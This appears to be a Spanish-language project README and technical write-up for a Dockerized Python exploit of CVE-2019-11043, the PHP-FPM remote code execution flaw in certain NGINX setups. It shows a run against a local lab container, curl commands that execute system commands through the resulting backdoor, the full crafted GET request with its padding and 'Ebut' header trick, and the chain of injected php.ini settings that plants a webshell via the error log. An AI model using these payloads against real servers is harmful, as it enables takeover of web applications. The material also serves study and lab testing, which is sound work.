
Exploit de Python dockerizado para CVE-2019-11043, una vulnerabilidad crítica de ejecución remota de código en PHP-FPM en configuraciones de NGINX. Incluye configuración, uso y análisis detallado.
Una implementación en Python del exploit CVE-2019-11043
El exploit registrado como CVE-2019-11043 aprovecha un error en la implementación de PHP-FPM en conjunto con un servidor NGINX. En ciertas configuraciones, una expresión regular en FastCGI path_info hace que el módulo FPM escriba más allá de los búferes asignados en el espacio reservado para los datos del protocolo FastCGI. Como resultado, un usuario web podría ejecutar código remotamente. La siguiente tabla muestra la evaluación de la severidad del exploit según el Common Vulnerability Scoring System (CVSS).
| Métrica | Valor |
|---|
| Puntuación de Impacto | 5.9 |
| Puntuación Base | 9.8 |
| Severidad | Crítico |
| Vector de Acceso | Red |
| Confidencialidad | Alta |
| Integridad | Alta |
| Disponibilidad | Alta |
Imágenes Docker:
Python:
Se requiere una instalación de Docker y docker-compose para ejecutar el proyecto.
Ejecutando el siguiente comando desde el directorio raíz del proyecto, se descargarán todas las imágenes Docker necesarias y se iniciarán los contenedores en el orden correcto:
docker-compose up
Para ejecutar la configuración en modo demonio, ejecute el siguiente comando:
docker-compose up -d
Para detener un inicio en modo demonio, ejecute el siguiente comando:
docker-compose down
Ejemplo
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Iniciando...
? Solicitando objetivo para encontrar candidatos qsl.
[Respuesta] El código de estado es 502 para QSL 1761. Cumple criterios y se agrega como candidato
[Respuesta] El código de estado es 502 para QSL 1762. Cumple criterios y se agrega como candidato
[Respuesta] El código de estado es 502 para QSL 1763. Cumple criterios y se agrega como candidato
[Respuesta] El código de estado es 502 para QSL 1764. Cumple criterios y se agrega como candidato
[Respuesta] El código de estado es 502 para QSL 1765. Cumple criterios y se agrega como candidato
Candidatos QSL post-procesados: 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Probando candidatos encontrados
[Prueba] Candidato QSL: 1751
[Prueba] Candidato QSL: 1752
[Prueba] Candidato QSL: 1753
[Prueba] Candidato QSL: 1754
[Prueba] Candidato QSL: 1755
💣 El objetivo parece vulnerable con parámetros de ataque: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Éxito: ¡Exploit de Ejecución Remota de Código desplegado con éxito!
Deberías poder ejecutar comandos usando:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
o
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
Esta vulnerabilidad fue encontrada durante la ronda de clasificación de Real World CTF 2019, cuando Andrew Danau, un investigador de seguridad, encontró que enviar un carácter de control de nueva línea %0A resulta en una excepción en el código del servidor.
La expresión regular en la directiva fastcgi_split_path_info puede romperse usando el carácter de nueva línea (en forma codificada, %0A). La expresión regular rota lleva entonces a un PATH_INFO vacío, lo que desencadena el error.
Como env_path_info es la dirección de la variable path_info, path_info es 0 por lo que pilen también es 0. slen es la longitud de la URL solicitada.

Usando una longitud cuidadosamente elegida de la ruta URL y la cadena de consulta, un atacante puede hacer que path_info apunte precisamente al primer byte de la estructura _fcgi_data_seg. Poner un cero en él mueve el campo char* pos hacia atrás, y luego FCGI_PUTENV sobrescribe algunos datos (incluyendo otras variables fast cgi) con la ruta del script. Usando esta técnica, la vulnerabilidad permite crear una variable PHP_VALUE FCGI falsa y luego usar una cadena de valores de configuración cuidadosamente elegidos para obtener ejecución de código.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len es la longitud de la ruta URL
http://localhost:11043/index.php/TUD%0aNetSec.php/var/www/html/index.php/TUD\nNetSec.phpptlen es la longitud del contenido, antes de la primera barra en la ruta URL
http://localhost:11043/index.php/TUD%0aNetSec.phppt es /var/www/html/index.phpLa diferencia entre las dos variables "len" y "ptlen" es la longitud de la ruta especificada en la URL. Dado que la ruta de estas dos puede controlarse, la variable path_info también puede controlarse.
Como la ruta es controlable, podemos establecer el valor de cualquier dirección a cero (Línea 1222). Al establecer el valor de la dirección objetivo a cero, podemos controlar el char* pos de la estructura _fcgi_data_seg a cero. Mediante este enfoque explotamos un desbordamiento de búfer inferior (buffer underflow) y podemos escribir variables globales en el espacio de memoria correcto.
El hash y la longitud se comparan antes de las claves. Al elegir cuidadosamente los encabezados y claves correctos, podemos agregar usando encabezados. Según los hallazgos de neex, la cadena "ebut", que se convierte en HTTP_EBUT, tiene la misma longitud y valor FCGI_HASH que PHP_VALUE. Por lo tanto, al enviar una solicitud GET al servidor similar a
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
el encabezado HTTP_EBUT se convierte en PHP_VALUE y el valor session_start=1.
La siguiente lista proporciona al atacante los requisitos previos necesarios que deben cumplirse para desplegar el ataque.
En el primer paso tenemos que encontrar una longitud de cadena de consulta en la que un carácter de control de nueva línea %0A resulte en una excepción en el código del servidor y tal que el servidor responda con un código de error HTTP > 500. Basándonos en esta información, ahora podemos intentar escribir PHP_VALUE y controlar su contenido. Al principio, intentamos configurar una sesión. Si esto tiene éxito, somos conscientes de la vulnerabilidad del servidor. En este punto, sabemos que podemos controlar cualquier variable global en PHP.
Utilizando la sesión establecida anteriormente con el servidor, sobrescribimos y configuramos nuestros requisitos previos en los ajustes del servidor para permitir una ejecución remota de código. Los autores del exploit configuran una serie de ajustes especiales de php. Habilita la inclusión automática, establece la ruta a /tmp, establece la dirección del archivo de registro a /tmp/a y también escribe el payload en el archivo de registro. Finalmente, el archivo PHP incluirá automáticamente un archivo de registro para crear una puerta trasera.
< GET /index.php/PHP_VALUE%0Asession.auto_start=1?TUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUD HTTP/1.1
< Host: localhost:11043
< User-Agent: CVE-2019-11043
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< TUD: AAAAAAAAAAAAAAAAA
< Ebut: tudda nwsec
<
> HTTP/1.1 200 OK
> Server: nginx/1.17.10
> Date: Tue, 19 May 2020 07:38:58 GMT
> Content-Type: text/html; charset=UTF-8
> Transfer-Encoding: chunked
> Connection: keep-alive
>
<html>
<head>
<title>Explotar PHP-FPM según lo propuesto en CVE-2019-11043</title>
</head>
<body>
<p>Desafío PHP con configuraciones de nginx + php-fpm.</p> </body>
</html>
La cadena de opciones de php.ini que hace posible la ejecución remota de código:
php_settings = [
"short_open_tag=1;;;;;;;", # Abrir etiqueta php corta
"html_errors=0;;;;;;;;;;", # Desactivar etiqueta HTML en el mensaje de error
"include_path=/tmp;;;;;;", # Ruta de inclusión
"auto_prepend_file=a;;;;", # Especifica los archivos que se incluyen automáticamente antes de que se ejecute el script, similar a require().
"log_errors=1;;;;;;;;;;;", # Habilitar registro de errores
"error_reporting=2;;;;;;", # Especificar nivel de error
"error_log=/tmp/a;;;;;;;", # Archivo de registro de errores
"extension_dir=%22%3C%3F=%60%22;;;", # Especificar el directorio de carga para la extensión
"extension=%22$_GET%5Ba%5D%60%3F%3E%22", # Especificar la extensión a cargar
]
Nota: Los puntos y comas se usan para llenar el espacio de memoria, de modo que PHP_VALUE\nauto_prepend_file=a;;;; se convierte en 34 Bytes, que es la longitud fija de PATH_INFO. Así aseguramos que todos los ajustes se escriban correctamente en el espacio de memoria.
PHP proporciona el marco para muchos sitios web y aplicaciones web populares. Dado que el uso de servidores web basados en NGINX en combinación con PHP 7 es ubicuo, esta vulnerabilidad ha sido clasificada como crítica. Además, es relativamente fácil de implementar y logra persistencia una vez que se abusa de ella. Dado que una explotación exitosa de CVE-2019-11043 podría llevar a RCE, puede permitir a hackers y actores de amenazas tomar el control de una aplicación web.
El exploit debe tomarse en serio a pesar de que esta vulnerabilidad está limitada a configuraciones específicas de NGINX; el Nginx por defecto no tiene este problema.